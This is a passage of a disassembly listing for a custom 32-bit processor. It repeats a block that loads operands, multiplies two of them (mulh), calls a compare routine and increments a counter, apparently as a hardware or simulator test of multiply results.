8118: 0d 60 02 03 wh16 r16,0x3
811c: 10 40 02 10 ld32 r16,r16
8120: 0d 45 79 3c wl16 r9,0x2bdc
8124: 0d 60 01 23 wh16 r9,0x3
8128: 10 40 01 29 ld32 r9,r9
812c: 00 60 01 10 mulh r8,r16
8130: 20 70 03 e2 movepc rret,8
8134: 14 30 df b7 br 10 <compare>,#al
8138: 00 10 00 41 add r2,1
813c: 0d 41 3d 08 wl16 r8,0x9e8
8140: 0d 60 01 03 wh16 r8,0x3
8144: 10 40 01 08 ld32 r8,r8
8148: 0d 43 5e 04 wl16 r16,0x1ae4
814c: 0d 60 02 03 wh16 r16,0x3
8150: 10 40 02 10 ld32 r16,r16
8154: 0d 45 7d 20 wl16 r9,0x2be0
8158: 0d 60 01 23 wh16 r9,0x3
815c: 10 40 01 29 ld32 r9,r9
8160: 00 60 01 10 mulh r8,r16
8164: 20 70 03 e2 movepc rret,8
8168: 14 30 df aa br 10 <compare>,#al
816c: 00 10 00 41 add r2,1
8170: 0d 41 3d 0c wl16 r8,0x9ec
8174: 0d 60 01 03 wh16 r8,0x3
8178: 10 40 01 08 ld32 r8,r8
817c: 0d 43 5e 08 wl16 r16,0x1ae8
8180: 0d 60 02 03 wh16 r16,0x3
8184: 10 40 02 10 ld32 r16,r16
8188: 0d 45 7d 24 wl16 r9,0x2be4
818c: 0d 60 01 23 wh16 r9,0x3
8190: 10 40 01 29 ld32 r9,r9
8194: 00 60 01 10 mulh r8,r16
8198: 20 70 03 e2 movepc rret,8
819c: 14 30 df 9d br 10 <compare>,#al
81a0: 00 10 00 41 add r2,1
81a4: 0d 41 3d 10 wl16 r8,0x9f0
81a8: 0d 60 01 03 wh16 r8,0x3
81ac: 10 40 01 08 ld32 r8,r8
81b0: 0d 43 5e 0c wl16 r16,0x1aec
81b4: 0d 60 02 03 wh16 r16,0x3
81b8: 10 40 02 10 ld32 r16,r16
81bc: 0d 45 7d 28 wl16 r9,0x2be8
81c0: 0d 60 01 23 wh16 r9,0x3
81c4: 10 40 01 29 ld32 r9,r9
81c8: 00 60 01 10 mulh r8,r16
81cc: 20 70 03 e2 movepc rret,8
81d0: 14 30 df 90 br 10 <compare>,#al
81d4: 00 10 00 41 add r2,1
81d8: 0d 41 3d 14 wl16 r8,0x9f4
81dc: 0d 60 01 03 wh16 r8,0x3
81e0: 10 40 01 08 ld32 r8,r8
81e4: 0d 43 5e 10 wl16 r16,0x1af0
81e8: 0d 60 02 03 wh16 r16,0x3
81ec: 10 40 02 10 ld32 r16,r16
81f0: 0d 45 7d 2c wl16 r9,0x2bec
81f4: 0d 60 01 23 wh16 r9,0x3
81f8: 10 40 01 29 ld32 r9,r9
81fc: 00 60 01 10 mulh r8,r16
8200: 20 70 03 e2 movepc rret,8
8204: 14 30 df 83 br 10 <compare>,#al
8208: 00 10 00 41 add r2,1
820c: 0d 41 3d 18 wl16 r8,0x9f8
8210: 0d 60 01 03 wh16 r8,0x3
8214: 10 40 01 08 ld32 r8,r8
8218: 0d 43 5e 14 wl16 r16,0x1af4
821c: 0d 60 02 03 wh16 r16,0x3
8220: 10 40 02 10 ld32 r16,r16
8224: 0d 45 7d 30 wl16 r9,0x2bf0
8228: 0d 60 01 23 wh16 r9,0x3
822c: 10 40 01 29 ld32 r9,r9
8230: 00 60 01 10 mulh r8,r16
8234: 20 70 03 e2 movepc rret,8
8238: 14 30 df 76 br 10 <compare>,#al
823c: 00 10 00 41 add r2,1
8240: 0d 41 3d 1c wl16 r8,0x9fc
8244: 0d 60 01 03 wh16 r8,0x3
8248: 10 40 01 08 ld32 r8,r8
824c: 0d 43 5e 18 wl16 r16,0x1af8
8250: 0d 60 02 03 wh16 r16,0x3
8254: 10 40 02 10 ld32 r16,r16
8258: 0d 45 7d 34 wl16 r9,0x2bf4
825c: 0d 60 01 23 wh16 r9,0x3
8260: 10 40 01 29 ld32 r9,r9
8264: 00 60 01 10 mulh r8,r16
8268: 20 70 03 e2 movepc rret,8
826c: 14 30 df 69 br 10 <compare>,#al
8270: 00 10 00 41 add r2,1
8274: 0d 41 41 00 wl16 r8,0xa00
8278: 0d 60 01 03 wh16 r8,0x3
827c: 10 40 01 08 ld32 r8,r8
8280: 0d 43 5e 1c wl16 r16,0x1afc
8284: 0d 60 02 03 wh16 r16,0x3
8288: 10 40 02 10 ld32 r16,r16
828c: 0d 45 7d 38 wl16 r9,0x2bf8
8290: 0d 60 01 23 wh16 r9,0x3
8294: 10 40 01 29 ld32 r9,r9
8298: 00 60 01 10 mulh r8,r16
829c: 20 70 03 e2 movepc rret,8
82a0: 14 30 df 5c br 10 <compare>,#al
82a4: 00 10 00 41 add r2,1
82a8: 0d 41 41 04 wl16 r8,0xa04
82ac: 0d 60 01 03 wh16 r8,0x3
82b0: 10 40 01 08 ld32 r8,r8
82b4: 0d 43 62 00 wl16 r16,0x1b00
82b8: 0d 60 02 03 wh16 r16,0x3
82bc: 10 40 02 10 ld32 r16,r16
82c0: 0d 45 7d 3c wl16 r9,0x2bfc
82c4: 0d 60 01 23 wh16 r9,0x3
82c8: 10 40 01 29 ld32 r9,r9
82cc: 00 60 01 10 mulh r8,r16
82d0: 20 70 03 e2 movepc rret,8
82d4: 14 30 df 4f br 10 <compare>,#al
82d8: 00 10 00 41 add r2,1
82dc: 0d 41 41 08 wl16 r8,0xa08
82e0: 0d 60 01 03 wh16 r8,0x3
82e4: 10 40 01 08 ld32 r8,r8
82e8: 0d 43 62 04 wl16 r16,0x1b04
82ec: 0d 60 02 03 wh16 r16,0x3
82f0: 10 40 02 10 ld32 r16,r16
82f4: 0d 45 81 20 wl16 r9,0x2c00
82f8: 0d 60 01 23 wh16 r9,0x3
82fc: 10 40 01 29 ld32 r9,r9
8300: 00 60 01 10 mulh r8,r16
8304: 20 70 03 e2 movepc rret,8
8308: 14 30 df 42 br 10 <compare>,#al
830c: 00 10 00 41 add r2,1
8310: 0d 41 41 0c wl16 r8,0xa0c
8314: 0d 60 01 03 wh16 r8,0x3
8318: 10 40 01 08 ld32 r8,r8
831c: 0d 43 62 08 wl16 r16,0x1b08
8320: 0d 60 02 03 wh16 r16,0x3
8324: 10 40 02 10 ld32 r16,r16
8328: 0d 45 81 24 wl16 r9,0x2c04
832c: 0d 60 01 23 wh16 r9,0x3
8330: 10 40 01 29 ld32 r9,r9
8334: 00 60 01 10 mulh r8,r16
8338: 20 70 03 e2 movepc rret,8
833c: 14 30 df 35 br 10 <compare>,#al
8340: 00 10 00 41 add r2,1
8344: 0d 41 41 10 wl16 r8,0xa10
8348: 0d 60 01 03 wh16 r8,0x3
834c: 10 40 01 08 ld32 r8,r8
8350: 0d 43 62 0c wl16 r16,0x1b0c
8354: 0d 60 02 03 wh16 r16,0x3
8358: 10 40 02 10 ld32 r16,r16
835c: 0d 45 81 28 wl16 r9,0x2c08
8360: 0d 60 01 23 wh16 r9,0x3
8364: 10 40 01 29 ld32 r9,r9
8368: 00 60 01 10 mulh r8,r16
836c: 20 70 03 e2 movepc rret,8
8370: 14 30 df 28 br 10 <compare>,#al
8374: 00 10 00 41 add r2,1
8378: 0d 41 41 14 wl16 r8,0xa14
837c: 0d 60 01 03 wh16 r8,0x3
8380: 10 40 01 08 ld32 r8,r8
8384: 0d 43 62 10 wl16 r16,0x1b10
8388: 0d 60 02 03 wh16 r16,0x3
838c: 10 40 02 10 ld32 r16,r16
8390: 0d 45 81 2c wl16 r9,0x2c0c
8394: 0d 60 01 23 wh16 r9,0x3
8398: 10 40 01 29 ld32 r9,r9
839c: 00 60 01 10 mulh r8,r16
83a0: 20 70 03 e2 movepc rret,8
83a4: 14 30 df 1b br 10 <compare>,#al
83a8: 00 10 00 41 add r2,1
83ac: 0d 41 41 18 wl16 r8,0xa18
83b0: 0d 60 01 03 wh16 r8,0x3
83b4: 10 40 01 08 ld32 r8,r8
83b8: 0d 43 62 14 wl16 r16,0x1b14
83bc: 0d 60 02 03 wh16 r16,0x3
83c0: 10 40 02 10 ld32 r16,r16
83c4: 0d 45 81 30 wl16 r9,0x2c10
83c8: 0d 60 01 23 wh16 r9,0x3
83cc: 10 40 01 29 ld32 r9,r9
83d0: 00 60 01 10 mulh r8,r16
83d4: 20 70 03 e2 movepc rret,8
83d8: 14 30 df 0e br 10 <compare>,#al
83dc: 00 10 00 41 add r2,1
83e0: 0d 41 41 1c wl16 r8,0xa1c
83e4: 0d 60 01 03 wh16 r8,0x3
83e8: 10 40 01 08 ld32 r8,r8
83ec: 0d 43 62 18 wl16 r16,0x1b18
83f0: 0d 60 02 03 wh16 r16,0x3
83f4: 10 40 02 10 ld32 r16,r16
83f8: 0d 45 81 34 wl16 r9,0x2c14
83fc: 0d 60 01 23 wh16 r9,0x3
8400: 10 40 01 29 ld32 r9,r9
8404: 00 60 01 10 mulh r8,r16
8408: 20 70 03 e2 movepc rret,8
840c: 14 30 df 01 br 10 <compare>,#al
8410: 00 10 00 41 add r2,1
8414: 0d 41 45 00 wl16 r8,0xa20
8418: 0d 60 01 03 wh16 r8,0x3
841c: 10 40 01 08 ld32 r8,r8
8420: 0d 43 62 1c wl16 r16,0x1b1c
8424: 0d 60 02 03 wh16 r16,0x3
8428: 10 40 02 10 ld32 r16,r16
842c: 0d 45 81 38 wl16 r9,0x2c18
8430: 0d 60 01 23 wh16 r9,0x3
8434: 10 40 01 29 ld32 r9,r9
8438: 00 60 01 10 mulh r8,r16
843c: 20 70 03 e2 movepc rret,8
8440: 14 30 de f4 br 10 <compare>,#al
8444: 00 10 00 41 add r2,1
8448: 0d 41 45 04 wl16 r8,0xa24
844c: 0d 60 01 03 wh16 r8,0x3
8450: 10 40 01 08 ld32 r8,r8
8454: 0d 43 66 00 wl16 r16,0x1b20
8458: 0d 60 02 03 wh16 r16,0x3
845c: 10 40 02 10 ld32 r16,r16
8460: 0d 45 81 3c wl16 r9,0x2c1c
8464: 0d 60 01 23 wh16 r9,0x3
8468: 10 40 01 29 ld32 r9,r9
846c: 00 60 01 10 mulh r8,r16
8470: 20 70 03 e2 movepc rret,8
8474: 14 30 de e7 br 10 <compare>,#al
8478: 00 10 00 41 add r2,1
847c: 0d 41 45 08 wl16 r8,0xa28
8480: 0d 60 01 03 wh16 r8,0x3
8484: 10 40 01 08 ld32 r8,r8
8488: 0d 43 66 04 wl16 r16,0x1b24
848c: 0d 60 02 03 wh16 r16,0x3
8490: 10 40 02 10 ld32 r16,r16
8494: 0d 45 85 20 wl16 r9,0x2c20
8498: 0d 60 01 23 wh16 r9,0x3
849c: 10 40 01 29 ld32 r9,r9
84a0: 00 60 01 10 mulh r8,r16
84a4: 20 70 03 e2 movepc rret,8
84a8: 14 30 de da br 10 <compare>,#al
84ac: 00 10 00 41 add r2,1
84b0: 0d 41 45 0c wl16 r8,0xa2c
84b4: 0d 60 01 03 wh16 r8,0x3
84b8: 10 40 01 08 ld32 r8,r8
84bc: 0d 43 66 08 wl16 r16,0x1b28
84c0: 0d 60 02 03 wh16 r16,0x3
84c4: 10 40 02 10 ld32 r16,r16
84c8: 0d 45 85 24 wl16 r9,0x2c24
84cc: 0d 60 01 23 wh16 r9,0x3
84d0: 10 40 01 29 ld32 r9,r9
84d4: 00 60 01 10 mulh r8,r16
84d8: 20 70 03 e2 movepc rret,8
84dc: 14 30 de cd br 10 <compare>,#al
84e0: 00 10 00 41 add r2,1
84e4: 0d 41 45 10 wl16 r8,0xa30
84e8: 0d 60 01 03 wh16 r8,0x3
84ec: 10 40 01 08 ld32 r8,r8
84f0: 0d 43 66 0c wl16 r16,0x1b2c
84f4: 0d 60 02 03 wh16 r16,0x3
84f8: 10 40 02 10 ld32 r16,r16
84fc: 0d 45 85 28 wl16 r9,0x2c28
8500: 0d 60 01 23 wh16 r9,0x3
8504: 10 40 01 29 ld32 r9,r9
8508: 00 60 01 10 mulh r8,r16
850c: 20 70 03 e2 movepc rret,8
8510: 14 30 de c0 br 10 <compare>,#al
8514: 00 10 00 41 add r2,1
8518: 0d 41 45 14 wl16 r8,0xa34
851c: 0d 60 01 03 wh16 r8,0x3
8520: 10 40 01 08 ld32 r8,r8
8524: 0d 43 66 10 wl16 r16,0x1b30
8528: 0d 60 02 03 wh16 r16,0x3
852c: 10 40 02 10 ld32 r16,r16
8530: 0d 45 85 2c wl16 r9,0x2c2c
8534: 0d 60 01 23 wh16 r9,0x3
8538: 10 40 01 29 ld32 r9,r9
853c: 00 60 01 10 mulh r8,r16
8540: 20 70 03 e2 movepc rret,8
8544: 14 30 de b3 br 10 <compare>,#al
8548: 00 10 00 41 add r2,1
854c: 0d 41 45 18 wl16 r8,0xa38
8550: 0d 60 01 03 wh16 r8,0x3
8554: 10 40 01 08 ld32 r8,r8
8558: 0d 43 66 14 wl16 r16,0x1b34
855c: 0d 60 02 03 wh16 r16,0x3
8560: 10 40 02 10 ld32 r16,r16
8564: 0d 45 85 30 wl16 r9,0x2c30
8568: 0d 60 01 23 wh16 r9,0x3
856c: 10 40 01 29 ld32 r9,r9
8570: 00 60 01 10 mulh r8,r16
8574: 20 70 03 e2 movepc rret,8
8578: 14 30 de a6 br 10 <compare>,#al
857c: 00 10 00 41 add r2,1
8580: 0d 41 45 1c wl16 r8,0xa3c
8584: 0d 60 01 03 wh16 r8,0x3
8588: 10 40 01 08 ld32 r8,r8
858c: 0d 43 66 18 wl16 r16,0x1b38
8590: 0d 60 02 03 wh16 r16,0x3
8594: 10 40 02 10 ld32 r16,r16
8598: 0d 45 85 34 wl16 r9,0x2c34
859c: 0d 60 01 23 wh16 r9,0x3
85a0: 10 40 01 29 ld32 r9,r9
85a4: 00 60 01 10 mulh r8,r16
85a8: 20 70 03 e2 movepc rret,8
85ac: 14 30 de 99 br 10 <compare>,#al
85b0: 00 10 00 41 add r2,1
85b4: 0d 41 49 00 wl16 r8,0xa40
85b8: 0d 60 01 03 wh16 r8,0x3
85bc: 10 40 01 08 ld32 r8,r8
85c0: 0d 43 66 1c wl16 r16,0x1b3c
85c4: 0d 60 02 03 wh16 r16,0x3
85c8: 10 40 02 10 ld32 r16,r16
85cc: 0d 45 85 38 wl16 r9,0x2c38
85d0: 0d 60 01 23 wh16 r9,0x3
85d4: 10 40 01 29 ld32 r9,r9
85d8: 00 60 01 10 mulh r8,r16
85dc: 20 70 03 e2 movepc rret,8
85e0: 14 30 de 8c br 10 <compare>,#al
85e4: 00 10 00 41 add r2,1
85e8: 0d 41 49 04 wl16 r8,0xa44
85ec: 0d 60 01 03 wh16 r8,0x3
85f0: 10 40 01 08 ld32 r8,r8
85f4: 0d 43 6a 00 wl16 r16,0x1b40
85f8: 0d 60 02 03 wh16 r16,0x3
85fc: 10 40 02 10 ld32 r16,r16
8600: 0d 45 85 3c wl16 r9,0x2c3c
8604: 0d 60 01 23 wh16 r9,0x3
8608: 10 40 01 29 ld32 r9,r9
860c: 00 60 01 10 mulh r8,r16
8610: 20 70 03 e2 movepc rret,8
8614: 14 30 de 7f br 10 <compare>,#al
8618: 00 10 00 41 add r2,1
861c: 0d 41 49 08 wl16 r8,0xa48
8620: 0d 60 01 03 wh16 r8,0x3
8624: 10 40 01 08 ld32 r8,r8
8628: 0d 43 6a 04 wl16 r16,0x1b44
862c: 0d 60 02 03 wh16 r16,0x3
8630: 10 40 02 10 ld32 r16,r16
8634: 0d 45 89 20 wl16 r9,0x2c40
8638: 0d 60 01 23 wh16 r9,0x3
863c: 10 40 01 29 ld32 r9,r9
8640: 00 60 01 10 mulh r8,r16
8644: 20 70 03 e2 movepc rret,8
8648: 14 30 de 72 br 10 <compare>,#al
864c: 00 10 00 41 add r2,1
8650: 0d 41 49 0c wl16 r8,0xa4c
8654: 0d 60 01 03 wh16 r8,0x3
8658: 10 40 01 08 ld32 r8,r8
865c: 0d 43 6a 08 wl16 r16,0x1b48
8660: 0d 60 02 03 wh16 r16,0x3
8664: 10 40 02 10 ld32 r16,r16
8668: 0d 45 89 24 wl16 r9,0x2c44
866c: 0d 60 01 23 wh16 r9,0x3
8670: 10 40 01 29 ld32 r9,r9
8674: 00 60 01 10 mulh r8,r16
8678: 20 70 03 e2 movepc rret,8
867c: 14 30 de 65 br 10 <compare>,#al
8680: 00 10 00 41 add r2,1
8684: 0d 41 49 10 wl16 r8,0xa50
8688: 0d 60 01 03 wh16 r8,0x3
868c: 10 40 01 08 ld32 r8,r8
8690: 0d 43 6a 0c wl16 r16,0x1b4c
8694: 0d 60 02 03 wh16 r16,0x3
8698: 10 40 02 10 ld32 r16,r16
869c: 0d 45 89 28 wl16 r9,0x2c48
86a0: 0d 60 01 23 wh16 r9,0x3
86a4: 10 40 01 29 ld32 r9,r9
86a8: 00 60 01 10 mulh r8,r16
86ac: 20 70 03 e2 movepc rret,8
86b0: 14 30 de 58 br 10 <compare>,#al
86b4: 00 10 00 41 add r2,1
86b8: 0d 41 49 14 wl16 r8,0xa54
86bc: 0d 60 01 03 wh16 r8,0x3
86c0: 10 40 01 08 ld32 r8,r8
86c4: 0d 43 6a 10 wl16 r16,0x1b50
86c8: 0d 60 02 03 wh16 r16,0x3
86cc: 10 40 02 10 ld32 r16,r16
86d0: 0d 45 89 2c wl16 r9,0x2c4c
86d4: 0d 60 01 23 wh16 r9,0x3
86d8: 10 40 01 29 ld32 r9,r9
86dc: 00 60 01 10 mulh r8,r16
86e0: 20 70 03 e2 movepc rret,8
86e4: 14 30 de 4b br 10 <compare>,#al
86e8: 00 10 00 41 add r2,1
86ec: 0d 41 49 18 wl16 r8,0xa58
86f0: 0d 60 01 03 wh16 r8,0x3
86f4: 10 40 01 08 ld32 r8,r8
86f8: 0d 43 6a 14 wl16 r16,0x1b54
86fc: 0d 60 02 03 wh16 r16,0x3
8700: 10 40 02 10 ld32 r16,r16
8704: 0d 45 89 30 wl16 r9,0x2c50
8708: 0d 60 01 23 wh16 r9,0x3
870c: 10 40 01 29 ld32 r9,r9
8710: 00 60 01 10 mulh r8,r16
8714: 20 70 03 e2 movepc rret,8
8718: 14 30 de 3e br 10 <compare>,#al
871c: 00 10 00 41 add r2,1
8720: 0d 41 49 1c wl16 r8,0xa5c
8724: 0d 60 01 03 wh16 r8,0x3
8728: 10 40 01 08 ld32 r8,r8
872c: 0d 43 6a 18 wl16 r16,0x1b58
8730: 0d 60 02 03 wh16 r16,0x3
8734: 10 40 02 10 ld32 r16,r16
8738: 0d 45 89 34 wl16 r9,0x2c54
873c: 0d 60 01 23 wh16 r9,0x3
8740: 10 40 01 29 ld32 r9,r9
8744: 00 60 01 10 mulh r8,r16
8748: 20 70 03 e2 movepc rret,8
874c: 14 30 de 31 br 10 <compare>,#al
8750: 00 10 00 41 add r2,1
8754: 0d 41 4d 00 wl16 r8,0xa60
8758: 0d 60 01 03 wh16 r8,0x3
875c: 10 40 01 08 ld32 r8,r8
8760: 0d 43 6a 1c wl16 r16,0x1b5c
8764: 0d 60 02 03 wh16 r16,0x3
8768: 10 40 02 10 ld32 r16,r16
876c: 0d 45 89 38 wl16 r9,0x2c58
8770: 0d 60 01 23 wh16 r9,0x3
8774: 10 40 01 29 ld32 r9,r9
8778: 00 60 01 10 mulh r8,r16
877c: 20 70 03 e2 movepc rret,8
8780: 14 30 de 24 br 10 <compare>,#al
8784: 00 10 00 41 add r2,1
8788: 0d 41 4d 04 wl16 r8,0xa64
878c: 0d 60 01 03 wh16 r8,0x3
8790: 10 40 01 08 ld32 r8,r8
8794: 0d 43 6e 00 wl16 r16,0x1b60
8798: 0d 60 02 03 wh16 r16,0x3
879c: 10 40 02 10 ld32 r16,r16
87a0: 0d 45 89 3c wl16 r9,0x2c5c
87a4: 0d 60 01 23 wh16 r9,0x3
87a8: 10 40 01 29 ld32 r9,r9
87ac: 00 60 01 10 mulh r8,r16
87b0: 20 70 03 e2 movepc rret,8
87b4: 14 30 de 17 br 10 <compare>,#al
87b8: 00 10 00 41 add r2,1
87bc: 0d 41 4d 08 wl16 r8,0xa68
87c0: 0d 60 01 03 wh16 r8,0x3
87c4: 10 40 01 08 ld32 r8,r8
87c8: 0d 43 6e 04 wl16 r16,0x1b64
87cc: 0d 60 02 03 wh16 r16,0x3
87d0: 10 40 02 10 ld32 r16,r16
87d4: 0d 45 8d 20 wl16 r9,0x2c60
87d8: 0d 60 01 23 wh16 r9,0x3
87dc: 10 40 01 29 ld32 r9,r9
87e0: 00 60 01 10 mulh r8,r16
87e4: 20 70 03 e2 movepc rret,8
87e8: 14 30 de 0a br 10 <compare>,#al
87ec: 00 10 00 41 add r2,1
87f0: 0d 41 4d 0c wl16 r8,0xa6c
87f4: 0d 60 01 03 wh16 r8,0x3
87f8: 10 40 01 08 ld32 r8,r8
87fc: 0d 43 6e 08 wl16 r16,0x1b68
8800: 0d 60 02 03 wh16 r16,0x3
8804: 10 40 02 10 ld32 r16,r16
8808: 0d 45 8d 24 wl16 r9,0x2c64
880c: 0d 60 01 23 wh16 r9,0x3
8810: 10 40 01 29 ld32 r9,r9
8814: 00 60 01 10 mulh r8,r16
8818: 20 70 03 e2 movepc rret,8
881c: 14 30 dd fd br 10 <compare>,#al
8820: 00 10 00 41 add r2,1
8824: 0d 41 4d 10 wl16 r8,0xa70
8828: 0d 60 01 03 wh16 r8,0x3
882c: 10 40 01 08 ld32 r8,r8
8830: 0d 43 6e 0c wl16 r16,0x1b6c
8834: 0d 60 02 03 wh16 r16,0x3
8838: 10 40 02 10 ld32 r16,r16
883c: 0d 45 8d 28 wl16 r9,0x2c68
8840: 0d 60 01 23 wh16 r9,0x3
8844: 10 40 01 29 ld32 r9,r9
8848: 00 60 01 10 mulh r8,r16
884c: 20 70 03 e2 movepc rret,8
8850: 14 30 dd f0 br 10 <compare>,#al
8854: 00 10 00 41 add r2,1
8858: 0d 41 4d 14 wl16 r8,0xa74
885c: 0d 60 01 03 wh16 r8,0x3
8860: 10 40 01 08 ld32 r8,r8
8864: 0d 43 6e 10 wl16 r16,0x1b70
8868: 0d 60 02 03 wh16 r16,0x3
886c: 10 40 02 10 ld32 r16,r16
8870: 0d 45 8d 2c wl16 r9,0x2c6c
8874: 0d 60 01 23 wh16 r9,0x3
8878: 10 40 01 29 ld32 r9,r9
887c: 00 60 01 10 mulh r8,r16
8880: 20 70 03 e2 movepc rret,8
8884: 14 30 dd e3 br 10 <compare>,#al
8888: 00 10 00 41 add r2,1
888c: 0d 41 4d 18 wl16 r8,0xa78
8890: 0d 60 01 03 wh16 r8,0x3
8894: 10 40 01 08 ld32 r8,r8
8898: 0d 43 6e 14 wl16 r16,0x1b74
889c: 0d 60 02 03 wh16 r16,0x3
88a0: 10 40 02 10 ld32 r16,r16
88a4: 0d 45 8d 30 wl16 r9,0x2c70
88a8: 0d 60 01 23 wh16 r9,0x3
88ac: 10 40 01 29 ld32 r9,r9
88b0: 00 60 01 10 mulh r8,r16
88b4: 20 70 03 e2 movepc rret,8
88b8: 14 30 dd d6 br 10 <compare>,#al
88bc: 00 10 00 41 add r2,1
88c0: 0d 41 4d 1c wl16 r8,0xa7c
88c4: 0d 60 01 03 wh16 r8,0x3
88c8: 10 40 01 08 ld32 r8,r8
88cc: 0d 43 6e 18 wl16 r16,0x1b78
88d0: 0d 60 02 03 wh16 r16,0x3
88d4: 10 40 02 10 ld32 r16,r16
88d8: 0d 45 8d 34 wl16 r9,0x2c74
88dc: 0d 60 01 23 wh16 r9,0x3
88e0: 10 40 01 29 ld32 r9,r9
88e4: 00 60 01 10 mulh r8,r16
88e8: 20 70 03 e2 movepc rret,8
88ec: 14 30 dd c9 br 10 <compare>,#al
88f0: 00 10 00 41 add r2,1
88f4: 0d 41 51 00 wl16 r8,0xa80
88f8: 0d 60 01 03 wh16 r8,0x3
88fc: 10 40 01 08 ld32 r8,r8
8900: 0d 43 6e 1c wl16 r16,0x1b7c
8904: 0d 60 02 03 wh16 r16,0x3
8908: 10 40 02 10 ld32 r16,r16
890c: 0d 45 8d 38 wl16 r9,0x2c78
8910: 0d 60 01 23 wh16 r9,0x3
8914: 10 40 01 29 ld32 r9,r9
8918: 00 60 01 10 mulh r8,r16
891c: 20 70 03 e2 movepc rret,8
8920: 14 30 dd bc br 10 <compare>,#al
8924: 00 10 00 41 add r2,1
8928: 0d 41 51 04 wl16 r8,0xa84
892c: 0d 60 01 03 wh16 r8,0x3
8930: 10 40 01 08 ld32 r8,r8
8934: 0d 43 72 00 wl16 r16,0x1b80
8938: 0d 60 02 03 wh16 r16,0x3
893c: 10 40 02 10 ld32 r16,r16
8940: 0d 45 8d 3c wl16 r9,0x2c7c
8944: 0d 60 01 23 wh16 r9,0x3
8948: 10 40 01 29 ld32 r9,r9
894c: 00 60 01 10 mulh r8,r16
8950: 20 70 03 e2 movepc rret,8
8954: 14 30 dd af br 10 <compare>,#al
8958: 00 10 00 41 add r2,1
895c: 0d 41 51 08 wl16 r8,0xa88
8960: 0d 60 01 03 wh16 r8,0x3
8964: 10 40 01 08 ld32 r8,r8
8968: 0d 43 72 04 wl16 r16,0x1b84
896c: 0d 60 02 03 wh16 r16,0x3
8970: 10 40 02 10 ld32 r16,r16
8974: 0d 45 91 20 wl16 r9,0x2c80
8978: 0d 60 01 23 wh16 r9,0x3
897c: 10 40 01 29 ld32 r9,r9
8980: 00 60 01 10 mulh r8,r16
8984: 20 70 03 e2 movepc rret,8
8988: 14 30 dd a2 br 10 <compare>,#al
898c: 00 10 00 41 add r2,1
8990: 0d 41 51 0c wl16 r8,0xa8c
8994: 0d 60 01 03 wh16 r8,0x3
8998: 10 40 01 08 ld32 r8,r8
899c: 0d 43 72 08 wl16 r16,0x1b88
89a0: 0d 60 02 03 wh16 r16,0x3
89a4: 10 40 02 10 ld32 r16,r16
89a8: 0d 45 91 24 wl16 r9,0x2c84
89ac: 0d 60 01 23 wh16 r9,0x3
89b0: 10 40 01 29 ld32 r9,r9
89b4: 00 60 01 10 mulh r8,r16
89b8: 20 70 03 e2 movepc rret,8
89bc: 14 30 dd 95 br 10 <compare>,#al
89c0: 00 10 00 41 add r2,1
89c4: 0d 41 51 10 wl16 r8,0xa90
89c8: 0d 60 01 03 wh16 r8,0x3
89cc: 10 40 01 08 ld32 r8,r8
89d0: 0d 43 72 0c wl16 r16,0x1b8c
89d4: 0d 60 02 03 wh16 r16,0x3
89d8: 10 40 02 10 ld32 r16,r16
89dc: 0d 45 91 28 wl16 r9,0x2c88
89e0: 0d 60 01 23 wh16 r9,0x3
89e4: 10 40 01 29 ld32 r9,r9
89e8: 00 60 01 10 mulh r8,r16
89ec: 20 70 03 e2 movepc rret,8
89f0: 14 30 dd 88 br 10 <compare>,#al
89f4: 00 10 00 41 add r2,1
89f8: 0d 41 51 14 wl16 r8,0xa94
89fc: 0d 60 01 03 wh16 r8,0x3
8a00: 10 40 01 08 ld32 r8,r8
8a04: 0d 43 72 10 wl16 r16,0x1b90
8a08: 0d 60 02 03 wh16 r16,0x3
8a0c: 10 40 02 10 ld32 r16,r16
8a10: 0d 45 91 2c wl16 r9,0x2c8c
8a14: 0d 60 01 23 wh16 r9,0x3
8a18: 10 40 01 29 ld32 r9,r9
8a1c: 00 60 01 10 mulh r8,r16
8a20: 20 70 03 e2 movepc rret,8
8a24: 14 30 dd 7b br 10 <compare>,#al
8a28: 00 10 00 41 add r2,1
8a2c: 0d 41 51 18 wl16 r8,0xa98
8a30: 0d 60 01 03 wh16 r8,0x3
8a34: 10 40 01 08 ld32 r8,r8
8a38: 0d 43 72 14 wl16 r16,0x1b94
8a3c: 0d 60 02 03 wh16 r16,0x3
8a40: 10 40 02 10 ld32 r16,r16
8a44: 0d 45 91 30 wl16 r9,0x2c90
8a48: 0d 60 01 23 wh16 r9,0x3
8a4c: 10 40 01 29 ld32 r9,r9
8a50: 00 60 01 10 mulh r8,r16
8a54: 20 70 03 e2 movepc rret,8
8a58: 14 30 dd 6e br 10 <compare>,#al
8a5c: 00 10 00 41 add r2,1
8a60: 0d 41 51 1c wl16 r8,0xa9c
8a64: 0d 60 01 03 wh16 r8,0x3
8a68: 10 40 01 08 ld32 r8,r8
8a6c: 0d 43 72 18 wl16 r16,0x1b98
8a70: 0d 60 02 03 wh16 r16,0x3
8a74: 10 40 02 10 ld32 r16,r16
8a78: 0d 45 91 34 wl16 r9,0x2c94
8a7c: 0d 60 01 23 wh16 r9,0x3
8a80: 10 40 01 29 ld32 r9,r9
8a84: 00 60 01 10 mulh r8,r16
8a88: 20 70 03 e2 movepc rret,8
8a8c: 14 30 dd 61 br 10 <compare>,#al
8a90: 00 10 00 41 add r2,1
8a94: 0d 41 55 00 wl16 r8,0xaa0
8a98: 0d 60 01 03 wh16 r8,0x3
8a9c: 10 40 01 08 ld32 r8,r8
8aa0: 0d 43 72 1c wl16 r16,0x1b9c
8aa4: 0d 60 02 03 wh16 r16,0x3
8aa8: 10 40 02 10 ld32 r16,r16
8aac: 0d 45 91 38 wl16 r9,0x2c98
8ab0: 0d 60 01 23 wh16 r9,0x3
8ab4: 10 40 01 29 ld32 r9,r9
8ab8: 00 60 01 10 mulh r8,r16
8abc: 20 70 03 e2 movepc rret,8
8ac0: 14 30 dd 54 br 10 <compare>,#al
8ac4: 00 10 00 41 add r2,1
8ac8: 0d 41 55 04 wl16 r8,0xaa4
8acc: 0d 60 01 03 wh16 r8,0x3
8ad0: 10 40 01 08 ld32 r8,r8
8ad4: 0d 43 76 00 wl16 r16,0x1ba0
8ad8: 0d 60 02 03 wh16 r16,0x3
8adc: 10 40 02 10 ld32 r16,r16
8ae0: 0d 45 91 3c wl16 r9,0x2c9c
8ae4: 0d 60 01 23 wh16 r9,0x3
8ae8: 10 40 01 29 ld32 r9,r9
8aec: 00 60 01 10 mulh r8,r16
8af0: 20 70 03 e2 movepc rret,8
8af4: 14 30 dd 47 br 10 <compare>,#al
8af8: 00 10 00 41 add r2,1
8afc: 0d 41 55 08 wl16 r8,0xaa8
